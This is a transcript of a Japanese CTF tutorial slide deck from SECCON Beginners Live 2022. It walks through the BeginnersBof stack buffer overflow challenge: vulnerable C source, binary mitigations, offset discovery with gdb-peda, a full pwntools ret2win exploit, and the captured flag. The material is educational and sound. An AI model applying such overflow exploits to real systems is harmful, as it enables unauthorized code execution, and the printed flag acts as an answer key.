$30 off During Our Annual Pro Sale. View Details »

Beginners Beginners Bof / SECCON Beginners Live 2022

n01e0
September 11, 2022

Beginners Beginners Bof / SECCON Beginners Live 2022

n01e0

September 11, 2022
Tweet

Other Decks in Technology

Transcript

  1. Beginners Beginners Bof
    SECCON Beginners Live 2022
    Reo Shiseki

    View Slide

  2. 自己紹介
    ● 紫関 麗王(Shiseki Reo)
    ● ID: n01e0
    ● 情報科学専門学校 4年 IPFactory
    ● ctf4b 2022での作問
    ○ BeginnersBof 155 Solves
    ○ raindrop 53 Solves
    ○ snowdrop 44 Solves
    ○ simplelist 32 Solves
    ○ please_not_debug_me 48 Solves
    ○ ultra_super_miracle_validator 40 Solves

    View Slide

  3. 想定読者
    ● Pwnableの勉強を始めたが,本番で問題が解け
    ない
    ● 主な担当はReversingだが,チームにPwnable担
    当がいないので解かざるを得ない

    View Slide

  4. Pwnable問題の典型的なパターンと解
    法を学び
    テンプレとして覚えてほしい

    View Slide

  5. 題材
    SECCON Beginners CTF 2022
    BeginnersBof

    View Slide

  6. 問題のセットアップ
    $ git clone https://github.com/SECCON/Beginners_CTF_2022
    $ cd Beginners_CTF_2022/pwnable/BeginnersBof
    $ docker-compose up -d
    $ nc localhost 9000
    How long your name?

    View Slide

  7. Pwnable攻略の思考フロー
    1. ソースコードを読み,(配布されている場合)
    攻撃に転用できそうな脆弱性を探す
    2. 具体的な攻撃方法を考える
    3. ペイロードの組み立て
    4. Flagを取得する

    View Slide

  8. 脆弱性を探す

    View Slide

  9. ソースコード(抜粋&コメント追加)
    #define BUFSIZE 0x10
    void win() { // この関数を呼び出せばFlagが取得できる
    char buf[0x100];
    int fd = open("flag.txt", O_RDONLY);
    if (fd == -1)
    err(1, "Flag file not found...\n");
    write(1, buf, read(fd, buf, sizeof(buf)));
    close(fd);
    }
    int main() {
    int len = 0;
    char buf[BUFSIZE] = {0}; // BUFSIZEは0x10
    puts("How long is your name?");
    scanf("%d", &len); // バッファに読み込むデータの長さを入力
    char c = getc(stdin); // 入力末尾の改行
    if (c != '\n')
    ungetc(c, stdin);
    puts("What's your name?");
    fgets(buf, len, stdin); // 指定された長さ分バッファに読み込む
    printf("Hello %s", buf);
    }

    View Slide

  10. Pwnableで使用される代表的な脆弱性
    ● Stack Buffer Overflow
    ● Heap Overflow
    ● Format String Attack
    ● Use After Free
    ● etc…

    View Slide

  11. Pwnableで使用される代表的な脆弱性
    ● Stack Buffer Overflow ←今回はこれがある
    ● Heap Overflow
    ● Format String Attack
    ● Use After Free
    ● etc…

    View Slide

  12. Stack Buffer Overflow(CWE-121)
    スタック上に確保された領域に
    サイズよりも大きなデータを読み込む

    View Slide

  13. Stack Buffer Overflowが発生する状況
    スタック上に確保したバッファに
    データを書き込む時

    View Slide

  14. gets
    gets関数は読み込むサイズの指定ができないので,基
    本的にStack Buffer Overflowが発生します.
    その為,getsを使用していた場合はコンパイラの警告が
    発生する程です.
    CTFの作問以外では使わないでください.
    これがあったら基本的にBuffer Overflowで攻撃!

    View Slide

  15. scanf
    scanf関数でもStack Buffer Overflowは
    発生する可能性があります.
    例えば,char s[10]のように確保した領域に対して
    ,scanf(“%s”, s)のような呼び出しをした場合,scanfは改
    行までのデータをsに書き込んでしまいます.

    View Slide

  16. fgets
    getsとは異なり,読み込むサイズを指定できます.
    しかし,そのサイズを任意の値にできるような状況では
    Stack Buffer Overflowが発生してしまいます.
    →今回はそのパターン

    View Slide

  17. ソースコード(重要な部分だけ抜粋)
    #define BUFSIZE 0x10
    int main() {
    int len = 0;
    char buf[BUFSIZE] = {0}; // BUFSIZEは0x10
    puts("How long is your name?");
    scanf("%d", &len); // 0x10より大きなサイズを入力
    char c = getc(stdin);
    if (c != '\n')
    ungetc(c, stdin);
    puts("What's your name?");
    fgets(buf, len, stdin); // 確保されたサイズより大きなデータを読み込む🔥
    printf("Hello %s", buf);
    }

    View Slide

  18. セキュリティ機構の確認
    バイナリには脆弱性の悪用を防ぐための
    セキュリティ機構が備わっている

    View Slide

  19. バイナリのセキュリティ機構
    ● RELRO
    ● Stack Canary
    ● NX
    ● PIE

    View Slide

  20. RELRO
    RELocation Read Only
    メモリ上のデータに対して
    Read Only(書き込み不可)の属性を
    付与するかどうか

    View Slide

  21. RELROが有効だと?
    GOT Overwriteができない

    View Slide

  22. GOT Overwriteとは?
    RELROが無効,もしくはPartialで,
    任意のアドレスに任意の値が書き込める
    場合によく使われる攻撃手法

    View Slide

  23. GOT Overwrite
    本題から逸れる為,詳しい説明はしません
    GOT(Global Offset Table)とは,libcなどのリンクされたバイナリにある
    関数のアドレス用のキャッシュのような領域で,基本的にprintf等
    の呼び出しはGOTのアドレスに遷移しています.
    この特性を利用し,GOTにあるアドレスを,本来のlibcのアドレスか
    ら遷移させたいアドレスに変更することで,次回の呼び出し時,任
    意のアドレスへ遷移します.

    View Slide

  24. Stack Canary(Stack Smashing Protection)
    Stack Overflowに対するセキュリティ機構
    関数が呼ばれた際,
    スタック上にカナリア(canary)と呼ばれる値を置き,関数
    から戻る直前に,その値が書き換わっていないかを確認
    する事で,Stack Overflowを検知する

    View Slide

  25. Stack Canary(Stack Smashing Protection)が有効だと?
    Stack Buffer Overflowによる
    リターンアドレスの書き換えが
    できない(やりづらい)

    View Slide

  26. Stack Canary(Stack Smashing Protection)が有効だと
    Canaryはリターンアドレスよりも手前にあるため,愚直に
    リターンアドレスを書き換えようとすると
    破壊されてしまう.
    ほかの脆弱性を使ってCanaryをリークできれば,
    復元しながらリターンアドレスだけを書き換える事もでき
    る.

    View Slide

  27. NX(No Execute bit)
    NX(No eXecute)はメモリ上の
    データ領域に置かれた値を実行できなくする為の
    フラグ

    View Slide

  28. NXが有効だと?
    スタック等にシェルコードを書き込み,
    遷移させるような攻撃ができなくなる

    View Slide

  29. PIE(Position Independent Executable)
    PIE(Position Independent Executable)
    バイナリ中のアドレス参照を
    すべて相対アドレスで行うフラグ

    View Slide

  30. PIEが有効だと?
    バイナリ中のシンボルのアドレスと,
    実際に実行されているアドレスが異なる為,ベー
    スとなるアドレスをリークしてから
    でないとシンボルの位置を特定できない.

    View Slide

  31. セキュリティ機構の確認
    checksecというプログラムを使う
    https://github.com/slimm609/checksec.sh

    View Slide

  32. checksecによるセキュリティ機構の確認
    $ checksec –file=chall –output=json | jq
    {
    "file": {
    "relro": "no",
    "canary": "no",
    "nx": "yes",
    "pie": "no",
    "rpath": "no",
    "runpath": "no",
    "symbols": "yes",
    "fortify_source": "no",
    "fortified": "0",
    "fortify-able": "3"
    }
    }

    View Slide

  33. 脆弱性とセキュリティ機構の確認
    ● Stack Buffer Overflowがある
    ● RELROが無効
    ● Canaryが無効
    ● PIEが無効

    View Slide

  34. 脆弱性とセキュリティ機構の確認
    ● Stack Buffer Overflowがある
    ● RELROが無効
    ● Canaryが無効
    ● PIEが無効
    ● NXが無効

    View Slide

  35. これらの条件から何ができるか
    スタック上にある
    リターンアドレスの書き換え

    View Slide

  36. 何ができるか
    スタック上にある
    リターンアドレスの書き換え
    → win関数を呼び出してFlagを取得できる

    View Slide

  37. 具体的な攻撃方法を考える

    View Slide

  38. Stack Buffer Overflowの攻撃への転用
    今回はリターンアドレスを上書きして
    win関数を呼び出したい

    View Slide

  39. リターンアドレスの上書き
    リターンアドレスはどこにある?

    View Slide

  40. リターンアドレスへのオフセットを知る
    いくつかの方法がある
    ● ツールによるdisassemble結果を見る
    ● デバッガで探る

    View Slide

  41. リターンアドレスへのオフセットを知る
    いくつかの方法がある
    ● ツールによるdisassemble結果を見る
    ● デバッガで探る

    View Slide

  42. gdb-peda
    gdb(デバッガ)の拡張
    https://github.com/longld/peda
    デバッグ/Pwnに便利な機能が追加されている
    ● わかりやすいレジスタ/コード/スタックの表示
    ● etc…

    View Slide

  43. インストール
    $ git clone https://github.com/longld/peda.git ~/peda
    $ echo “source ~/peda/peda.py >> ~/.gdbinit

    View Slide

  44. pedaによる解析(メイン画面)
    main関数にbreakpointを設置
    実行した結果
    gdb-peda$ b *main
    gdb-peda$ run

    View Slide

  45. pedaによる解析(disassemble)
    main関数のdisassemble結果
    BOFが発生するのは
    0x00000000004012f2の
    call 0x401090
    gdb-peda$ disas main

    View Slide

  46. pedaによる解析(BOFの確認)
    1. sizeは適当に51で指定
    2. ‘a’を50個+改行
    入力した結果
    gdb-peda$ c
    Continuing.
    How long is your name?
    51
    What's your name?
    aaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaa

    View Slide

  47. pedaによる解析(BOFの確認)
    SIGSEGVによる停止

    View Slide

  48. pedaによる解析(リターンアドレスの確認)
    mainが呼び出された時の
    stack topがリターンアドレス
    0x7fffffffce98 --> 0x7ffff7d8fd90

    View Slide

  49. pedaによる解析(リターンアドレスの確認)
    SEGVが発生した時点では?
    “aaaaaaaa”に書き換わっている
    リターンアドレスまでの
    オフセットは?

    View Slide

  50. pedaによる解析(オフセットの特定)
    pattern_createコマンド
    オフセットの特定に便利
    指定した長さの
    文字列を作り出してくれる
    gdb-peda$ pattern_create 50

    View Slide

  51. pedaによる解析(オフセットの特定)
    pattoコマンドで
    オフセットを確認できる
    RSPの”AA0AAFAAbA”
    へのオフセットは40bytes
    gdb-peda$ r
    gdb-peda$ c
    Continuing.
    How long is your name?
    51
    What's your name?
    AAA%AAsAABAA$AAnAACAA-AA(A
    ADAA;AA)AAEAAaAA0AAFAAbA
    gdb-peda$ patto AA0AAFAAbA
    AA0AAFAAbA found at offset: 40

    View Slide

  52. 具体的な攻撃方法

    View Slide

  53. 攻撃方法
    リターンアドレスは入力の先頭から
    40bytes先にある

    40bytesのデータ+遷移させたいアドレス
    を入力すれば良い

    View Slide

  54. Exploitの組み立て

    View Slide

  55. Exploitの組み立て
    脆弱な部分はわかった
    リターンアドレスまでのオフセットもわかった
    具体的な攻撃方法もわかった
    あとはやるだけ
    → 退屈なことはPythonにやらせる

    View Slide

  56. pwntools

    View Slide

  57. pwntools
    exploitの作成に便利なPythonのライブラリ
    (https://github.com/Gallopsled/pwntools)
    ● リモートで動いているプログラムへの接続
    ● バイナリの解析
    ● etc…
    非常に多機能(使い切れないくらい)
    参考: https://qiita.com/8ayac/items/12a3523394080e56ad5a

    View Slide

  58. install
    $ python3 -m pip install -upgrade pwntools

    View Slide

  59. 今回使う機能
    ● バイナリの解析
    ● リモートへの接続
    ● データのpack
    ● データの入出力

    View Slide

  60. バイナリの解析
    ELFを解析してくれる関数
    バイナリ中の関数のアドレス等が
    取得できるようになる
    context.binaryに対象のバイナリを
    指定する事で,今後のpack等を
    いい感じにしてくれる
    from pwn import *
    e = ELF("./chall")
    context.binary = "./chall"

    View Slide

  61. データのpack
    実際に送信するpayloadを作成する
    40bytesの適当なデータと
    遷移させたいwin関数のアドレス
    e.sym[]で解析したバイナリの
    シンボルを取得し
    pack()でいい感じにバイト列にする
    from pwn import *
    e = ELF("./chall")
    context.binary = "./chall"
    payload = b'a' * 40
    payload += pack(e.sym["win"])

    View Slide

  62. リモートへの接続
    pwnの問題はリモートで動いている
    プログラムに接続する事がほとんど
    remoteで接続先を指定する事で,
    全部いい感じにしてくれる
    戻り値は今後の入出力に使用する
    from pwn import *
    e = ELF("./chall")
    context.binary = "./chall"
    payload = b'a' * 40
    payload += pack(e.sym["win"])
    io = remote("localhost", 9000)

    View Slide

  63. データの入出力
    sendlineafterは
    第1引数に指定したバイト列を受け取った後
    第2引数のバイト列を改行と共に
    送信するメソッド
    今回はpayloadの長さを文字列にした後,
    バイト列に変換して送信する
    from pwn import *
    e = ELF("./chall")
    context.binary = "./chall"
    payload = b'a' * 40
    payload += pack(e.sym["win"])
    io = remote("localhost", 9000)
    io.sendlineafter(
    b"How long is your name?",
    str(len(payload)).encode()
    )

    View Slide

  64. flagの取得
    改行はいらないのでsendafterで
    送信後はflagが出力されるはずなので
    いい感じに受け取ってprintする
    from pwn import *
    e = ELF("./chall")
    context.binary = "./chall"
    payload = b'a' * 40
    payload += pack(e.sym["win"])
    io = remote("localhost", 9000)
    io.sendlineafter(b"How long is your name?", str(len(payload)).encode())
    io.sendafter(
    b"What's your name?",
    payload
    )
    io.recvuntil(b"ctf4b{")
    print(
    "ctf4b{" + io.readline().decode(),
    end=''
    )

    View Slide

  65. Exploit!
    $ ls
    chall exploit.py
    $ python3 ./exploit.py
    [*] '/home/lilium/src/github.com/SECCON/Beginners_CTF_2022/pwnable/BeginnersBof/exploit/chall'
    Arch: amd64-64-little
    RELRO: No RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x400000)
    [+] Opening connection to localhost on port 9000: Done
    ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}
    [*] Closed connection to localhost port 9000

    View Slide

  66. 以上!
    ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

    View Slide

  67. 問題の停止
    $ docker-compose down

    View Slide

  68. 確認
    ➔ 脆弱性の調査
    ➔ Stack Buffer Overflowがあり,canaryが無効
    ➔ リターンアドレスへのオフセットを調査
    ➔ padding+遷移させたいアドレスを送信
    ➔ Flag Get?

    View Slide